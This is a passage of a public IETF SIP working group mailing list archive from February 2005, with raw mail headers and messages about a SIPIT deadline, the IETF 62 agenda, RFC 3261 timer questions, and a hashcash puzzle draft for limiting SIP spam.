(c-24-1-68-89.client.comcast.net [24.1.68.89]) (authenticated bits=0) by magus.nostrum.com (8.12.11/8.12.11) with ESMTP id j1SF0qD9048522 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Mon, 28 Feb 2005 09:00:53 -0600 (CST) (envelope-from rjsparks@nostrum.com) Mime-Version: 1.0 (Apple Message framework v619.2) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: sip-implementors@cs.columbia.edu, SIP WG From: Robert Sparks Date: Mon, 28 Feb 2005 09:00:54 -0600 X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.1 (/) X-Scan-Signature: 30ac594df0e66ffa5a93eb4c48bcb014 Content-Transfer-Encoding: 7bit Subject: [Sip] SIPIT 16 registration deadline X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.1 (/) X-Scan-Signature: 08170828343bcf1325e4a0fb4584481c Content-Transfer-Encoding: 7bit The special rates for rooms at SIPIT 16 expire March 4th (this Friday). Please book your rooms before then. If you plan to attend and have not yet registered for the event itself, please do so today. Information is available at http://www.sipit.net and http://sipit16.jasomi.com Thanks, RjS _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Mon Feb 28 11:00:54 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03817 for ; Mon, 28 Feb 2005 11:00:54 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5nL5-0001mL-Nm for sip-web-archive@ietf.org; Mon, 28 Feb 2005 11:01:44 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5nFd-0007Cn-3c; Mon, 28 Feb 2005 10:56:05 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5nFa-0007CY-Qh for sip@megatron.ietf.org; Mon, 28 Feb 2005 10:56:02 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA03304 for ; Mon, 28 Feb 2005 10:56:00 -0500 (EST) Received: from nylon.softarmor.com ([66.135.38.164]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5nGM-0001cl-3u for sip@ietf.org; Mon, 28 Feb 2005 10:56:50 -0500 Received: from [64.101.149.215] ([64.101.149.215]) (authenticated bits=0) by nylon.softarmor.com (8.13.1/8.12.11) with ESMTP id j1SFvsvY022607 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Mon, 28 Feb 2005 09:57:56 -0600 Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <314075180f0439b805dd396a7ac1a868@softarmor.com> Content-Transfer-Encoding: 7bit From: Dean Willis Date: Mon, 28 Feb 2005 09:55:54 -0600 To: sip@ietf.org X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.0 (/) X-Scan-Signature: fb6060cb60c0cea16e3f7219e40a0a81 Content-Transfer-Encoding: 7bit Cc: Rohan Mahy , Gonzalo Camarillo Subject: [Sip] Agenda for SIP at IETF 62 X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: cd26b070c2577ac175cd3a6d878c6248 Content-Transfer-Encoding: 7bit Here's the current agenda for the SIP working group meeting. Note that we're moving a couple of things (certs, conection management, e2m) from the from the draft SIPPING agenda to SIP. A pretty hyperlinked version is available at: http://www.softarmor.com/sipwg/meets/ietf62/agenda.html Agenda, SIP WG, IETF 62 Monday, 1930-2200 1930 Agenda Bash and Status 1945 GRUU Remaining Issues (Knowing AOR, Rewriting by SBC, etc.) Jonathan Rosenberg draft-ietf-sip-gruu-03.txt 2015 Non-Invite Transactions Robert Sparks draft-sparks-sip-nit-future-01.txt 2030 REFER Extensions Orit Levin draft-ietf-sip-refer-with-norefersub-01.txt draft-ietf-sip-refer-with-feature-param-01.txt 2045 Identity -- Request Jon Peterson draft-ietf-sip-identity-04.txt 2100 Identity -- Response Jon Peterson draft-peterson-message-identity-00.txt 2115 SIP Resource Priority James Polk draft-ietf-sip-resource-priority-06.txt 2200 Close Tuesday, 1300-1500 1300 Agenda Bash 1310 SIP Interaction Framework Jonathan Rosenberg draft-ietf-sipping-app-interaction-framework-04.txt 1330 Connection Reuse Rohan Mahy draft-ietf-sip-connect-reuse-03 1350 Management of Outbound Connections Cullen Jennings draft-jennings-sipping-outbound-01.txt 1405 Using Certificates with SIP Cullen Jennings draft-ietf-sipping-certs-01.txt 1420 End-to-middle security Kumiko Ono draft-ono-sipping-end2middle-security-04.txt 1440 Extension Negotiation Volker Hilt draft-hilt-sip-ext-neg-00.txt 1500 Close _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Mon Feb 28 12:11:33 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA10820 for ; Mon, 28 Feb 2005 12:11:33 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5oRU-0003TD-Cd for sip-web-archive@ietf.org; Mon, 28 Feb 2005 12:12:24 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5oOi-0003s3-FY; Mon, 28 Feb 2005 12:09:32 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5oOg-0003ry-Mo for sip@megatron.ietf.org; Mon, 28 Feb 2005 12:09:30 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA10559 for ; Mon, 28 Feb 2005 12:09:28 -0500 (EST) Received: from motgate2.mot.com ([144.189.100.101]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5oPS-0003Og-6T for sip@ietf.org; Mon, 28 Feb 2005 12:10:19 -0500 Received: from az33exr02.mot.com (az33exr02.mot.com [10.64.251.232]) by motgate2.mot.com (8.12.11/Motgate2) with ESMTP id j1SHGYEa011021 for ; Mon, 28 Feb 2005 10:16:34 -0700 (MST) Received: from il27exm02.cig.mot.com (il27exm02.cig.mot.com [10.17.193.3]) by az33exr02.mot.com (8.13.1/8.13.0) with ESMTP id j1SHAhXA009239 for ; Mon, 28 Feb 2005 11:10:44 -0600 (CST) Received: by il27exm02.cig.mot.com with Internet Mail Service (5.5.2657.72) id ; Mon, 28 Feb 2005 11:09:26 -0600 Message-ID: <8E4E38BF6D087F4488E80ABAACA2F3F40E769143@il27exm02.cig.mot.com> From: Idnani Ajaykumar-AIDNANI1 To: "'sip@ietf.org'" , sip-implementors@cs.columbia.edu Date: Mon, 28 Feb 2005 11:09:24 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) X-Spam-Score: 2.6 (++) X-Scan-Signature: f60d0f7806b0c40781eee6b9cd0b2135 Subject: [Sip] Section 17.1.1.2, RFC 3261 X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1435915722==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 2.6 (++) X-Scan-Signature: f66b12316365a3fe519e75911daf28a8 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --===============1435915722== Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C51DB8.40A801EC" This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C51DB8.40A801EC Content-Type: text/plain Hi All, I was reading section 17.1.1.2 of RFC 3261 and I had some basic questions, so I thought I will ask the experts. 1. What is the UAC supposed to do when it is in the Proceeding state and it does not receive any final response? The text in section 17.1.1.2 does talk about this case. Also when I look at the flow in Firgure 5, there seems to be no timer attached to get out of the 'Proceeding' state. There is one attached to 'Calling' (Timer B) and 'Completed' (Timer D) states, but none to 'Proceeding' state. So are we saying that once you get into Proceeding state and the other end fails for some reason, the UAC is stuck. Or is the figure inaccurate and it should really show a Timer B associated with one of the arrows coming out of that state? In which case my questions would be does a provisional response reset this timer? Otherwise an INVITE transaction would be constrained to 32secs assuming a T1 of 500ms (i.e. a call should go from 'Calling' to 'Completed' in 32secs! Appreciate your responses. Thank you. - Ajay ------_=_NextPart_001_01C51DB8.40A801EC Content-Type: text/html Content-Transfer-Encoding: base64 PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgSFRUUC1FUVVJVj0iQ29udGVudC1UeXBlIiBDT05U RU5UPSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVMtQVNDSUkiPg0KPFRJVExFPk1lc3NhZ2U8L1RJVExF Pg0KDQo8TUVUQSBjb250ZW50PSJNU0hUTUwgNi4wMC4yODAwLjE0OTEiIG5hbWU9R0VORVJBVE9S PjwvSEVBRD4NCjxCT0RZPg0KPERJVj48U1BBTiBjbGFzcz05ODUyMjAxMTctMjgwMjIwMDU+PEZP TlQgZmFjZT1BcmlhbCBzaXplPTI+SGkgDQpBbGwsPC9GT05UPjwvU1BBTj48L0RJVj4NCjxESVY+ PFNQQU4gY2xhc3M9OTg1MjIwMTE3LTI4MDIyMDA1PjxGT05UIGZhY2U9QXJpYWwgDQpzaXplPTI+ PC9GT05UPjwvU1BBTj4mbmJzcDs8L0RJVj4NCjxESVY+PFNQQU4gY2xhc3M9OTg1MjIwMTE3LTI4 MDIyMDA1PjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPkkgd2FzIHJlYWRpbmcgDQpzZWN0aW9uIDE3 LjEuMS4yIG9mIFJGQyAzMjYxIGFuZCBJIGhhZCBzb21lIGJhc2ljIHF1ZXN0aW9ucywgc28gSSB0 aG91Z2h0IEkgd2lsbCANCmFzayB0aGUgZXhwZXJ0cy48L0ZPTlQ+PC9TUEFOPjwvRElWPg0KPERJ Vj48U1BBTiBjbGFzcz05ODUyMjAxMTctMjgwMjIwMDU+PEZPTlQgZmFjZT1BcmlhbCANCnNpemU9 Mj48L0ZPTlQ+PC9TUEFOPiZuYnNwOzwvRElWPg0KPERJVj48U1BBTiBjbGFzcz05ODUyMjAxMTct MjgwMjIwMDU+PEZPTlQgZmFjZT1BcmlhbCBzaXplPTI+MS4gV2hhdCBpcyB0aGUgVUFDIA0Kc3Vw cG9zZWQgdG8gZG8gd2hlbiBpdCBpcyBpbiB0aGUgUHJvY2VlZGluZyBzdGF0ZSBhbmQgaXQgZG9l cyBub3QgcmVjZWl2ZSBhbnkgDQpmaW5hbCByZXNwb25zZT8gVGhlIHRleHQgaW4gc2VjdGlvbiAx Ny4xLjEuMiZuYnNwO2RvZXMgdGFsayBhYm91dCB0aGlzIGNhc2UuIA0KQWxzbyB3aGVuIEkgbG9v ayBhdCB0aGUgZmxvdyBpbiBGaXJndXJlIDUsIHRoZXJlIHNlZW1zIHRvIGJlIG5vIHRpbWVyIGF0 dGFjaGVkIA0KdG8gZ2V0IG91dCBvZiB0aGUgJ1Byb2NlZWRpbmcnIHN0YXRlLiBUaGVyZSBpcyBv bmUgYXR0YWNoZWQgdG8gJ0NhbGxpbmcnIChUaW1lciANCkIpIGFuZCAnQ29tcGxldGVkJyAoVGlt ZXIgRCkgc3RhdGVzLCBidXQgbm9uZSB0byAnUHJvY2VlZGluZycgc3RhdGUuIFNvIGFyZSB3ZSAN CnNheWluZyB0aGF0IG9uY2UgeW91IGdldCBpbnRvIFByb2NlZWRpbmcgc3RhdGUgYW5kIHRoZSBv dGhlciBlbmQgZmFpbHMgZm9yIHNvbWUgDQpyZWFzb24sIHRoZSBVQUMgaXMgc3R1Y2suPC9GT05U PjwvU1BBTj48L0RJVj4NCjxESVY+PFNQQU4gY2xhc3M9OTg1MjIwMTE3LTI4MDIyMDA1PjxGT05U IGZhY2U9QXJpYWwgDQpzaXplPTI+PC9GT05UPjwvU1BBTj4mbmJzcDs8L0RJVj4NCjxESVY+PFNQ QU4gY2xhc3M9OTg1MjIwMTE3LTI4MDIyMDA1PjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPk9yIGlz IHRoZSBmaWd1cmUgDQppbmFjY3VyYXRlIGFuZCBpdCBzaG91bGQgcmVhbGx5IHNob3cgYSBUaW1l ciBCIGFzc29jaWF0ZWQgd2l0aCBvbmUgb2YgdGhlIGFycm93cyANCmNvbWluZyBvdXQgb2YgdGhh dCBzdGF0ZT8gSW4gd2hpY2ggY2FzZSBteSBxdWVzdGlvbnMgd291bGQgYmUgZG9lcyBhIHByb3Zp c2lvbmFsIA0KcmVzcG9uc2UgcmVzZXQgdGhpcyB0aW1lcj8gT3RoZXJ3aXNlIGFuIElOVklURSB0 cmFuc2FjdGlvbiB3b3VsZCBiZSBjb25zdHJhaW5lZCANCnRvIDMyc2VjcyBhc3N1bWluZyBhIFQx IG9mIDUwMG1zIChpLmUuIGEmbmJzcDtjYWxsIHNob3VsZCBnbyBmcm9tICdDYWxsaW5nJyB0byAN CidDb21wbGV0ZWQnIGluIDMyc2VjcyE8L0ZPTlQ+PC9TUEFOPjwvRElWPg0KPERJVj48U1BBTiBj bGFzcz05ODUyMjAxMTctMjgwMjIwMDU+PEZPTlQgZmFjZT1BcmlhbCANCnNpemU9Mj48L0ZPTlQ+ PC9TUEFOPiZuYnNwOzwvRElWPg0KPERJVj48U1BBTiBjbGFzcz05ODUyMjAxMTctMjgwMjIwMDU+ PEZPTlQgZmFjZT1BcmlhbCBzaXplPTI+QXBwcmVjaWF0ZSB5b3VyIA0KcmVzcG9uc2VzLjwvRk9O VD48L1NQQU4+PC9ESVY+DQo8RElWPjxTUEFOIGNsYXNzPTk4NTIyMDExNy0yODAyMjAwNT48L1NQ QU4+Jm5ic3A7PC9ESVY+DQo8RElWPjxGT05UIGZhY2U9QXJpYWw+PEZPTlQgc2l6ZT0yPjxTUEFO IGNsYXNzPTk4NTIyMDExNy0yODAyMjAwNT5UaGFuayANCnlvdS48L1NQQU4+PC9GT05UPjwvRk9O VD48L0RJVj4NCjxESVY+PEZPTlQgZmFjZT1BcmlhbD48Rk9OVCBzaXplPTI+PFNQQU4gY2xhc3M9 OTg1MjIwMTE3LTI4MDIyMDA1Pi0gDQpBamF5PC9TUEFOPjxTUEFOIA0KY2xhc3M9OTg1MjIwMTE3 LTI4MDIyMDA1PjxGT05UPiZuYnNwOyZuYnNwOzwvRk9OVD48L1NQQU4+PC9GT05UPjwvRk9OVD48 L0RJVj48L0JPRFk+PC9IVE1MPg0K ------_=_NextPart_001_01C51DB8.40A801EC-- --===============1435915722== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============1435915722==-- From sip-bounces@ietf.org Mon Feb 28 14:29:34 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA26185 for ; Mon, 28 Feb 2005 14:29:34 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5qb3-0006pz-GP for sip-web-archive@ietf.org; Mon, 28 Feb 2005 14:30:26 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5qXI-0001rE-BS; Mon, 28 Feb 2005 14:26:32 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5qXG-0001r9-Vs for sip@megatron.ietf.org; Mon, 28 Feb 2005 14:26:31 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA25848 for ; Mon, 28 Feb 2005 14:26:28 -0500 (EST) Received: from zcars04f.nortelnetworks.com ([47.129.242.57]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5qY3-0006kZ-Jv for sip@ietf.org; Mon, 28 Feb 2005 14:27:20 -0500 Received: from zrtpd0j7.us.nortel.com (zrtpd0j7.us.nortel.com [47.140.203.25]) by zcars04f.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id j1SJQG817890; Mon, 28 Feb 2005 14:26:16 -0500 (EST) Received: by zrtpd0j7.us.nortel.com with Internet Mail Service (5.5.2653.19) id <1J5B2MKD>; Mon, 28 Feb 2005 14:26:16 -0500 Message-ID: <1ECE0EB50388174790F9694F77522CCF01980E18@zrc2hxm0.corp.nortel.com> From: "Francois Audet" To: "'Cullen Jennings'" , "'sip@ietf.org'" Subject: RE: [Sip] draft-jennings-sip-hashcash-01 Date: Mon, 28 Feb 2005 14:26:01 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) X-Spam-Score: 0.6 (/) X-Scan-Signature: dd7e0c3fd18d19cffdd4de99a114001d X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0505291050==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.6 (/) X-Scan-Signature: fb93e867a11a29ac1dc5018706b412ac This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --===============0505291050== Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C51DCB.56D9DBF0" This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C51DCB.56D9DBF0 Content-Type: text/plain Yeah, a white list approach might work. The practical scenario that I am thinking about is with a typical VoIP service provider. Today, the vast majority of calls from subscribers terminate on gateways (owned by the operator of the service). These calls are not to a specific "user" but really to a gateway, using presumably something like the tel-URI-in-SIP-URI approach. In this case then, the white list is not to a whole URI but to "something" that is related to the gateway itself. This is different from the IM-scenario you quote. Now, if we only have to worry about one set of gateways (like the ones owned by the service provider), I guess you could base the white list on the domain name or find some other solution. It may be more difficult when gateways are scattered all over the place (like in an enterprise for example, or a federation of enterprise, or when it terminates to another service provider). I believe we should make sure that we describe white list properly before we publish the puzzle mechanism. I have a fear that we could define something where the people who make the SIP end-devices have an incentive to do something that is good for them (i.e., limit vulnerability to spam) but could be very problematic for the Gateways (or Proxies). Somehow we have to be able to mandate a white list capabily (or some other mechanism). Otherwise software upgrades could kill the operator of the service. PS: Note that this is a recurring problem with gateways (I think certs has the same issue). -----Original Message----- From: Cullen Jennings [mailto:fluffy@cisco.com] Sent: Friday, February 25, 2005 08:03 To: Audet, Francois [SC100:9T51:EXCH]; sip@ietf.org Subject: Re: [Sip] draft-jennings-sip-hashcash-01 The idea would be to have a very skewed amount of computation to help rate limit attacks. Whatever amount of computation is "reasonable" for a valid client to do, an attacker is going to be able to apply a lot more computation to the problem. However, this still limits the number of messages the attacker can do and thus raises the cost. I discuss this some what in the SPAM draft. This could all happen in different ways. Imagine a case where my enterprise proxy compute the puzzles on behalf of my phone when I call another domain. Say in a large enterprise, it has 10,000 people and during a busy hour makes 10 calls per second that are to an address external to the domain. Of these only 2 are not whitelists. If the enterprise proxy was willing to spend say 3GHz worth of CPU at computing challenges for these 2cps, well that is a pretty hefty amount of hash that could be required. Another ways is perhaps all the UAC are willing to do about the amount of hashing that 1 second of G.729 compression would take. It's hard to imagine that most UAs (even large GWs) could not do this. This would limit the rate of attack of a single computer to in the 100s of messages per second. This is a lot less hashing that the example above but contrast this to what is possible today. Today I can send in the order of 100,000 message per second. Increasing the cost of an attack by 1000 is good. It slows it down and give you time to trace the source and cut it off before it is everywhere. It makes is less worth while to advertise products that a very very small percentage of the receivers would buy. As discussed in the SPAM draft, you would always want to use white lists first then if the person was not on the white list fallback to something else like this. Cullen On 2/24/05 11:30 AM, "Francois Audet" wrote: We may need to explain some of the limitations of this. It seems to me that this mechanism would not be terribly appropriate for applications that aggregate a large number of clients onto a single platform. For example, this may be too computationally intensive for a large PSTN Gateway, or even a large Proxy. Any ideas of how a UAS would make the decision to send the 419 without burdening the UAC? Should there be a supported/require header for this functionality, so that a UAC could "opt out"? -----Original Message----- From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of Cullen Jennings Sent: Tuesday, February 22, 2005 16:46 To: sip@ietf.org Subject: [Sip] draft-jennings-sip-hashcash-01 I updated this draft on "SIP Computational Puzzles" so it has enough detail to implement it. (Previous version did not). It is in the drafts directory and also in HTML form at: http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-jennings-sip-hashcash -01.html Cullen _____ _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip ------_=_NextPart_001_01C51DCB.56D9DBF0 Content-Type: text/html Message
Yeah, a white list approach might work.
 
The practical scenario that I am thinking about is with a typical VoIP service provider.
 
Today, the vast majority of calls from subscribers terminate on gateways (owned by the operator of the service).  These calls are not to a specific "user" but really to a gateway, using presumably something like the tel-URI-in-SIP-URI approach. In this case then, the white list is not to a whole URI but to "something" that is related to the gateway itself. This is different from the IM-scenario you quote.
 
Now, if we only have to worry about one set of gateways (like the ones owned by the service provider), I guess you could base the white list on the domain name or find some other solution. It may be more difficult when gateways are scattered all over the place (like in an enterprise for example, or a federation of enterprise, or when it terminates to another service provider).
 
I believe we should make sure that we describe white list properly before we publish the puzzle mechanism. I have a fear that we could define something where the people who make the SIP end-devices have an incentive to do something that is good for them (i.e., limit vulnerability to spam) but could be very problematic for the Gateways (or Proxies). Somehow we have to be able to mandate a white list capabily (or some other mechanism). Otherwise software upgrades could kill the operator of the service.
 
PS: Note that this is a recurring problem with gateways (I think certs has the same issue).
-----Original Message-----
From: Cullen Jennings [mailto:fluffy@cisco.com]
Sent: Friday, February 25, 2005 08:03
To: Audet, Francois [SC100:9T51:EXCH]; sip@ietf.org
Subject: Re: [Sip] draft-jennings-sip-hashcash-01


The idea would be to have a very skewed amount of computation to help rate limit attacks. Whatever amount of computation is "reasonable" for a valid client to do, an attacker is going to be able to apply a lot more computation to the problem. However, this still limits the number of messages the attacker can do and thus raises the cost. I discuss this some what in the SPAM draft.

This could all happen in different ways. Imagine a case where my enterprise proxy compute the puzzles on behalf of my phone when I call another domain. Say in a large enterprise, it has 10,000 people and during a busy hour makes 10 calls per second that are to an address external to the domain. Of these only 2 are not whitelists. If the enterprise proxy was willing to spend say 3GHz worth of CPU at computing challenges for these 2cps, well that is a pretty hefty amount of hash that could be required.

Another ways is perhaps all the UAC are willing to do about the amount of hashing that 1 second of G.729 compression would take. It's hard to imagine that most UAs (even large GWs) could not do this. This would limit the rate of attack of a single computer to in the 100s of messages per second. This is a lot less hashing that the example above but contrast this to what is possible today. Today I can send in the order of 100,000 message per second. Increasing the cost of an attack by 1000 is good. It slows it down and give you time to trace the source and cut it off before it is everywhere. It makes is less worth while to advertise products that a very very small percentage of the receivers would buy.

As discussed in the SPAM draft, you would always want to use white lists first then if the person was not on the white list fallback to something else like this.

Cullen


On 2/24/05 11:30 AM, "Francois Audet" <audet@nortel.com> wrote:
We may need to explain some of the limitations of this. It seems to me that this mechanism would not be terribly appropriate for applications that aggregate a large number of clients onto a single platform. For example, this may be too computationally intensive for a large PSTN Gateway, or even a large Proxy.

Any ideas of how a UAS would make the decision to send the 419 without burdening the UAC? Should there be a supported/require header for this functionality, so that a UAC could "opt out"?

 
-----Original Message-----
From:  sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of Cullen  Jennings
Sent: Tuesday, February 22, 2005 16:46
To:  sip@ietf.org
Subject: [Sip]  draft-jennings-sip-hashcash-01


I updated  this draft on "SIP Computational Puzzles" so it has enough detail to implement  it. (Previous version did not). It is in the drafts directory and also in HTML  form at:

http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-jennings-sip-hashcash-01.html

Cullen

_______________________________________________
Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
This list is for NEW development of the core SIP Protocol
Use sip-implementors@cs.columbia.edu for questions on current sip
Use sipping@ietf.org for new developments on the application of sip

 ------_=_NextPart_001_01C51DCB.56D9DBF0-- --===============0505291050== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============0505291050==-- From sip-bounces@ietf.org Mon Feb 28 15:35:39 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA04225 for ; Mon, 28 Feb 2005 15:35:39 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5rd0-0008EX-7G for sip-web-archive@ietf.org; Mon, 28 Feb 2005 15:36:31 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5rYl-0002JT-R7; Mon, 28 Feb 2005 15:32:07 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5rYk-0002JJ-06 for sip@megatron.ietf.org; Mon, 28 Feb 2005 15:32:06 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA03908 for ; Mon, 28 Feb 2005 15:32:04 -0500 (EST) Received: from salvelinus.brooktrout.com ([204.176.205.6]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5rZW-00088L-RN for sip@ietf.org; Mon, 28 Feb 2005 15:32:56 -0500 Received: from nhmail2.needham.brooktrout.com (nhmail2.brooktrout.com [204.176.205.242]) by salvelinus.brooktrout.com (8.12.5/8.12.5) with ESMTP id j1SKT98A006993; Mon, 28 Feb 2005 15:29:09 -0500 (EST) Received: by nhmail2.brooktrout.com with Internet Mail Service (5.5.2653.19) id ; Mon, 28 Feb 2005 15:25:16 -0500 Message-ID: From: Eric Burger To: Gonzalo Camarillo , sip Subject: RE: [Sip] Draft defining the Accept-Disposition header field Date: Mon, 28 Feb 2005 15:25:16 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Scan-Signature: ffa9dfbbe7cc58b3fa6b8ae3e57b0aa3 X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 8abaac9e10c826e8252866cbe6766464 Could you leverage RFC3459? > -----Original Message----- > From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@ericsson.com] > Sent: Wednesday, January 12, 2005 7:36 AM > To: sip > Subject: [Sip] Draft defining the Accept-Disposition header field > > > Folks, > > I have submitted a draft that defines the Accept-Disposition header > field. The usage of this header field would be similar to the > usage of > Accept, Accept-Encoding, or Accept-Language, but it would indicate > support for disposition types. > > http://www.ietf.org/internet-drafts/draft-camarillo-sip-accept-disposition-0 0.txt Your comments are welcome. Thanks, Gonzalo _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Mon Feb 28 15:42:47 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA04858 for ; Mon, 28 Feb 2005 15:42:47 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5rjv-0008Np-Bv for sip-web-archive@ietf.org; Mon, 28 Feb 2005 15:43:39 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 